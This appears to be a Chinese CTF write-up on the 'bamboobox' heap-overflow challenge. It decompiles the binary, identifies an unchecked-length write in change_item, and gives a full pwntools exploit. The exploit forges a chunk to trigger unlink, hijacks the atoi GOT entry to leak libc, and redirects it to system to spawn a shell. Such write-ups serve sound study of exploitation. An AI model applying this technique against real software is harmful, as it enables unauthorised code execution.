Linux下堆溢出利用3-bamboobox解题思路之unlink

tech2022-12-10  60

Linux下堆溢出利用3-bamboobox解题思路之unlink

1 前言2 程序和调试环境准备2.1 实验环境2.2 实验目标 3 反编译程序3.1 检查安全机制3.2 main函数3.3 show_item函数3.4 add_item函数3.5 全局变量3.6 change_item函数3.7 remove_item函数 4 利用程序5 参考链接 “每一个字节都是有生命的,鲜活而生动。”

1 前言

在《Linux下堆溢出利用1-unlink基本原理》一文中写了关于unlink的原理,结合在CTF中bamboobox这道题来看一下如何在实战中应用,关于本题还有其他漏洞利用方式,我们后续再继续探讨。

2 程序和调试环境准备

2.1 实验环境

Linux ubuntu 16.04.1gdb 7.11.1bamboobox(目标程序)Python 2.7.12IDA 7.0

2.2 实验目标

使用unlink技术对bamboobox(目标程序)进行堆溢出攻击,并获取系统权限。

3 反编译程序

3.1 检查安全机制

首先使用checksec检查目标程序,发现程序开了堆栈不可执行和栈溢出保护(绿色部分),PID开了堆栈不可执行和栈溢出保护,PIE地址随机化没有开,RELRO部分开启,意味着可以修改GOT表。

3.2 main函数

使用IDA打开目标程序,定位到main函数,按F5进行反汇编,得到C的伪代码便于分析。

int __cdecl main(int argc, const char **argv, const char **envp) { _QWORD *v3; // [rsp-20h] [rbp-20h] __int64 v4; // [rsp-18h] [rbp-18h] unsigned __int64 v5; // [rsp-10h] [rbp-10h] v5 = __readfsqword(0x28u); setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 2, 0LL); v3 = malloc(0x10uLL); *v3 = hello_message; v3[1] = goodbye_message; ((void (__fastcall *)(signed __int64, _QWORD))*v3)(16LL, 0LL); while ( 1 ) { menu(); read(0, &v4, 8uLL); switch ( atoi((const char *)&v4) ) { case 1: show_item(&v4, &v4); break; case 2: add_item(); break; case 3: change_item(&v4, &v4); break; case 4: remove_item(&v4, &v4); break; case 5: ((void (__fastcall *)(__int64 *, __int64 *))v3[1])(&v4, &v4);//退出程序并打印goodbye_message exit(0); return; default: puts("invaild choice!!!"); break; } } }

首先通过v3 = malloc(0x10uLL)申请了一个0x10大小的堆,存放欢迎信息,共5个分支,分别为显示(show_item),添加(add_item),修改(change_item),删除(remove_item),退出。

3.3 show_item函数

int show_item() { signed int i; // [rsp+Ch] [rbp-4h] if ( !num ) return puts("No item in the box"); for ( i = 0; i <= 99; ++i ) { if ( *(_QWORD *)&itemlist[4 * i + 2] ) //遍历itemlist,不为空则打印输出 printf("%d : %s", (unsigned int)i, *(_QWORD *)&itemlist[4 * i + 2]); // } return puts(byte_401089); }

3.4 add_item函数

__int64 add_item() { signed int i; // [rsp+4h] [rbp-1Ch] int v2; // [rsp+8h] [rbp-18h] char buf; // [rsp+10h] [rbp-10h] unsigned __int64 v4; // [rsp+18h] [rbp-8h] v4 = __readfsqword(0x28u); if ( num > 99 ) { puts("the box is full"); } else { printf("Please enter the length of item name:"); read(0, &buf, 8uLL); v2 = atoi(&buf); if ( !v2 ) { puts("invaild length"); return 0LL; } for ( i = 0; i <= 99; ++i ) { if ( !*(_QWORD *)&itemlist[4 * i + 2] ) //遍历itemlist,中找到name位置为空的地方 { itemlist[4 * i] = v2; //将输入的length放入size *(_QWORD *)&itemlist[4 * i + 2] = malloc(v2); //申请size大小的堆空间 printf("Please enter the name of item:"); *(_BYTE *)(*(_QWORD *)&itemlist[4 * i + 2] + (signed int)read(0, *(void **)&itemlist[4 * i + 2], v2)) = 0; //将用户输入的name存放在申请的堆空间中,并在末尾置’\0’。 ++num; //num用于计数 return 0LL; } } } return 0LL; }

3.5 全局变量

由add_item中的相关操作我们可以猜测:

struct item { int size; char *name; }; struct item itemlist[190h] = {0}; int num;

itemlist的起始地址为0x6020c0,因为结构体中第二个变量可以当作存放指针的可预知地址,即0x6020c0+0x8=0x6020c8可作为目标地址。

3.6 change_item函数

unsigned __int64 change_item() { int v0; // ST08_4 int v2; // [rsp+4h] [rbp-2Ch] char buf; // [rsp+10h] [rbp-20h] char nptr; // [rsp+20h] [rbp-10h] unsigned __int64 v5; // [rsp+28h] [rbp-8h] v5 = __readfsqword(0x28u); if ( num ) { printf("Please enter the index of item:"); read(0, &buf, 8uLL); v2 = atoi(&buf); if ( *(_QWORD *)&itemlist[4 * v2 + 2] ) { printf("Please enter the length of item name:", &buf); read(0, &nptr, 8uLL); v0 = atoi(&nptr); printf("Please enter the new name of the item:", &nptr); *(_BYTE *)(*(_QWORD *)&itemlist[4 * v2 + 2] + (signed int)read(0, *(void **)&itemlist[4 * v2 + 2], v0)) = 0; } //堆大小没有限制,并写入了堆中,可以导致堆溢出,结尾写入'\0'。 else { puts("invaild index"); } } else { puts("No item in the box"); } return __readfsqword(0x28u) ^ v5; }

根据给定的索引,修改名字,以及大小,向指定索引中读取指定长度名字。这里长度由用户来读入,也存在任意长度堆溢出的漏洞。

3.7 remove_item函数

unsigned __int64 remove_item() { int v1; // [rsp+Ch] [rbp-14h] char buf; // [rsp+10h] [rbp-10h] unsigned __int64 v3; // [rsp+18h] [rbp-8h] v3 = __readfsqword(0x28u); if ( num ) { printf("Please enter the index of item:"); read(0, &buf, 8uLL); v1 = atoi(&buf); if ( *(_QWORD *)&itemlist[4 * v1 + 2] ) { free(*(void **)&itemlist[4 * v1 + 2]); //释放堆空间 *(_QWORD *)&itemlist[4 * v1 + 2] = 0LL; //itemlist中相应位置name指针清0 itemlist[4 * v1] = 0; //itemlist相应位置size清零 puts("remove successful!!"); --num; } else { puts("invaild index"); } } else { puts("No item in the box"); } return __readfsqword(0x28u) ^ v3; }

4 利用程序

from pwn import * context.log_level = 'debug' context(arch='amd64', os='linux') r = process('./bamboobox') elf = ELF('./bamboobox') libc = elf.libc def add(length,name): r.recvuntil(":") r.sendline('2') r.recvuntil(':') r.sendline(str(length)) r.recvuntil(":") r.sendline(name) def edit(idx,length,name): r.recvuntil(':') r.sendline('3') r.recvuntil(":") r.sendline(str(idx)) r.recvuntil(":") r.sendline(str(length)) r.recvuntil(':') r.sendline(name) def remove(idx): r.recvuntil(":") r.sendline("4") r.recvuntil(":") r.sendline(str(idx)) def show(): r.recvuntil(":") r.sendline("1") add(0x80,'a' * 8) //添加三个item结构体,放入itemlist,同时申请三块内存存放name add(0x80,'b' * 8) add(0x80,'c' * 8) ptr = 0x6020c8 //&itemlist[0].name fake_chunk = p64(0) //开始伪造chunk,伪造chunkd的prev_size=0; fake_chunk += p64(0x81) //伪造chunkd的size = 80 fake_chunk += p64(ptr-0x18) //伪造chunk的fd fake_chunk += p64(ptr-0x10) //伪造chunk的bk fake_chunk += 'c'*0x60 //padding..... fake_chunk += p64(0x80) //覆盖chunk1的prev_size fake_chunk += p64(0x90) //覆盖chunk1的size,标志位置0 edit(0,0x90,fake_chunk) //调用edit修改写入,溢出 #gdb.attach(r) remove(1) //调用remove,free掉chunk1,开始unlink //unlik成功后itemlist[0].name 指向&itemlist[0].name-3 处 payload = p64(0) * 3 //padding... atoi_got = elf.got["atoi"] payload += p64(atoi_got) edit(0,0x20,payload) //0x6020c8处写入atoi的got地址,那么此时itemlist[0].name指向的是atoi_got地址。 #gdb.attach(r) show() //打印输出,泄漏atoi的真实地址 r.recvuntil("0 : ") atoi_addr = u64(r.recvuntil(":")[:6].ljust(8,'\x00')) libcbase = atoi_addr - libc.symbols['atoi'] //atoi_addr减去其偏移地址,得到libc基址 print "got atoi:0x602068" print "leak atoi_addr:",hex(atoi_addr) print "libc.symbols[atoi]:",hex(libc.symbols['atoi']) print "libcbase = latoi_addr - libc.symbols['atoi']=",hex(libcbase) system_addr = libcbase + libc.symbols['system'] //基址+system的偏移地址 = system的真实地址 print 'system address is:',hex(system_addr) edit(0,0x8,p64(system_addr)) //写入,注意此时itemlist[0].name指向got atoi:0x602068,但是0x602068处的地址是经过替换的system真实地址,而非atoi地址(见下图一)。 gdb.attach(r) r.recvuntil(":") r.sendline("/bin/sh") //触发atoi函数(实际执行的是system函数),并为system传参数 r.interactive()

(图一) 成功getshell。

5 参考链接

http://blog.eonew.cn/archives/612#add_item https://xz.aliyun.com/t/5748#toc-2

0x490x200x6c0x6f0x760x650x200x6c0x690x680x750x610x200x660x6f0x720x650x760x650x720x21

最新回复(0)